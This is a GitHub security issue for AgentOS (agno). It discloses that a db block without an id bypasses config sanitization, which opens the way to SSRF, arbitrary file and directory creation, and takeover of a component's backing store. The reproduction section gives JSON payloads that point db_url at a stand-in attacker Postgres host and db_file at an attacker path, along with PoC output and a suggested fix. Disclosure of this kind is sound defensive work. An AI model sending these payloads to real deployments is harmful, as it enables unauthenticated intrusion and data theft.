Skip to content

[Security] AgentOS component config: db block without a resolvable id bypasses _resolve_db_in_config → attacker-controlled DB backend (SSRF + arbitrary file/dir creation) #8702

Description

@bogdancherniy11-sudo

Summary

AgentOS component configs may carry a db block. _resolve_db_in_config() is meant to stop a
caller from pointing a component's database at a different backend — connection-defining fields
(type, db_url, db_file, db_schema, …) are supposed to always come from a resolved,
registered
db, and only whitelisted table-name keys may come from the caller. But the sanitization
is guarded by if component_db_id is not None: — so a db block that simply omits id (or uses
an unresolvable id) skips sanitization entirely and is stored/used verbatim. A caller can thus set
db_url/db_file to an attacker-controlled location. On resolve/run the server builds a live DB
there: blind SSRF to an arbitrary Postgres host:port, arbitrary server-side directory creation
(mkdir(parents=True)) and SQLite file creation, and full control of the component's backing store
(which chains to server-side file read via persisted media filepath). Reachable unauthenticated
in the default deployment (no OS_SECURITY_KEY), or with components:write when authorization is on.

Affected code (main @ 07fe6b23, v2.6.20)

libs/agno/agno/os/routers/components/components.py_resolve_db_in_config():

component_db = config.get("db")
if component_db is not None and isinstance(component_db, dict):
    component_db_id = component_db.get("id")
    if component_db_id is not None:                 # <-- no-id blocks skip everything below
        ...resolve id -> resolved_db...
        if resolved_db is not None:
            resolved_dict = resolved_db.to_dict()
            table_overrides = {k: component_db[k] for k in DB_TABLE_NAME_KEYS if k in component_db}
            config["db"] = {**resolved_dict, **table_overrides}   # connection fields forced from resolved db
        else:
            log_error(...)                          # unresolvable id: left as-is
# component_db without id: falls through untouched -> attacker db block kept verbatim

Sinks reached from the stored config: os/utils.py + agent/agent.py DB-fallback load →
resolve_db_from_config (agent/_storage.py, team/_storage.py, workflow/workflow.py) →
db/utils.py db_from_dictdb/sqlite/sqlite.py (mkdir(parents=True)) /
db/postgres/postgres.py (engine built from attacker db_url).

Root cause

The control assumes a db block always references a registered db by id. When id is absent (or
unresolvable), the guard skips sanitization and the caller-supplied connection-defining fields survive,
defeating the exact protection added in #7508 ("so the caller can't redirect a referenced db to a
different backend").

Preconditions / attacker model

  • Default AgentOS (no OS_SECURITY_KEY) → POST /components is unauthenticated. With authorization
    enabled, components:write.
  • Affects agents, teams, and workflows (all load via resolve_db_from_config).

Impact — HIGH

  • Blind SSRF: server opens a Postgres connection to an attacker host:port (db_url).
  • Arbitrary server-side directory creation (mkdir -p) and SQLite file creation at an attacker path.
  • Component/agent backing-store takeover → the agent reads/writes an attacker-controlled DB, which
    chains to server-side arbitrary file read via persisted media filepath.

Reproduction (mechanism)

POST /components (default AgentOS, no auth) with a component config whose db block omits id:
{"db": {"type": "sqlite", "db_file": "/tmp/ATTACKER/x/y/evil.db"}} (or
{"type":"postgres","db_url":"postgresql+psycopg://pwn@attacker:5432/exfil"}). On GET/run resolution
the server builds the DB at that location. Local, network-free PoC (temp dirs, fake hosts) confirms:

POST /components -> 201 (unauthenticated, default AgentOS)
stored config db block: {'type':'sqlite','db_file':'.../HTTP_PWNED/x/y/http_evil.db'}
server created attacker directory tree while resolving the HTTP-stored agent
server-built Postgres engine points at attacker host:port

Full local PoC + a regression test available on request.

Expected vs actual

  • Actual: a caller-supplied db block without a resolvable id is trusted for connection-defining fields.
  • Expected: connection fields must always come from a resolved, registered db; an unresolved/id-less
    db block must not be used to build a live backend.

Suggested fix

Treat an unresolved db block the same as a resolved one — never trust caller connection fields:

component_db = config.get("db")
if component_db is not None and isinstance(component_db, dict):
    component_db_id = component_db.get("id")
    resolved_db = None
    if component_db_id is not None:
        if component_db_id == os_db.id:
            resolved_db = os_db
        elif registry is not None:
            resolved_db = registry.get_db(component_db_id)
    # Connection-defining fields ALWAYS come from a resolved db (fall back to os_db);
    # only whitelisted table-name keys are taken from the caller.
    base = (resolved_db or os_db).to_dict()
    table_overrides = {k: component_db[k] for k in DB_TABLE_NAME_KEYS if k in component_db}
    config["db"] = {**base, **table_overrides}
    if component_db_id is not None and resolved_db is None:
        log_error(f"Could not resolve db with id: {component_db_id}; using OS db")
elif component_db is None and "db" in config:
    config.pop("db", None)
return config

(Alternatively reject with 400 at the HTTP layer when a db block carries connection-defining fields
without a resolvable id.)

Duplicate / publicness check (GitHub API, this session)

The control lives in #7508 (merged). No issue/PR/GHSA describes the id-omission bypass. Distinct from
the ClickHouse vectordb SQLi (#7866) and the components RBAC leak (#8641).

Environment tested

  • agno 2.6.20, main @ 07fe6b2, Python 3.12. Local-only reproduction; fake hosts/paths only.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions